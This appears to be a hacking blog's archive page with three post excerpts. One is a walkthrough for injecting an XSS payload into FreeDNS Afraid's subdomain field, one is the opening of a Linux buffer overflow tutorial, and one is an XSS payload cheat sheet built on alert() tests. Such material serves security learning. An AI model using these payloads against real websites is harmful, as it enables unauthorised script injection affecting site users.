Postingan

Menampilkan postingan dari Januari, 2020

[ Bug Bounty ] XSS On FreeDNS Afraid

Gambar
[ Bug Bounty ] XSS On FreeDNS Afraid - # Bug Invetor : #No_IDentiTy # Team : XploitSec-ID # Date : 27 October 2019 Let's Execute 1. First, You must register on http://freedns.afraid.org 2.  After successfully registering, check the email you used when registering, to confirm 3. Login !! 4.  go to add subdomain 5. insert  the xss payload in the subdomain column basic payload : <script>alert("Xss By");</script> Klik Here For More Payload 6. And See  And I can also do HTML INJECTION If You Don't Understand.. watch this video

Linux Buffer Overflow Tutorial

Gambar
Linux Buffer Overflow Tutorial Edisi : Pertama Penulis : gunslinger_ <yudha.gunslinger@gmail.com> Tanggal : Sat Jun 26 20:27:41 WIT 2010 Konten : 1. Pendahuluan 2. Konsep exploitasi 3. Attack vector 3.1. NOP 3.2. NOPSLED 3.3. PAYLOAD 4. Special thanks -- Pendahuluan Setelah saya banyak melakukan penelitian pada kernel linux yang baru - baru ini , terutama kernel 2.6.8 ke atas memang tidak mungkin untuk mempraktikan teknik exploitasi buffer overflow dengan cara lama . maka dari itu saya menulis tutorial ini agar kita bisa mempraktikan "apa itu sebenarnya buffer overflow ?" pada kernel 2.6.8 ke atas karena kita mendapatkan kernel terbaru pada operting system pada saat ini. dengan tutorial ini, saya akan menjelaskan secara terperinci menjelaskan teknik exploitasi buffer overflow. -- Konsep Exploitasi buffer overflow ok, sekarang kita lanjut saja ke topik utama. sekarang kita harus membuat program yang vulnerable terhadap serangan buffer overflow. ----

Cross-site Scripting (XSS) Payloads Cheat Sheet

Gambar
Cross-site Scripting Payloads Cheat Sheet  – Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. Basic Payload < script > alert(123) </ script > < img src = "javascript:alert('XSS');" > < script > alert( "XSS" ); </ script > javascript:alert("XSS") Another Payload < img src = javascript:alert(&quot;XSS&quot;) > < "';alert(String.fromCharCode(88,83,83)) //\'; alert ( String.fromCharCode ( 88 , 83 , 83 ))//"; alert ( String.fromCharCode ( 88 , 83 , 83 ))//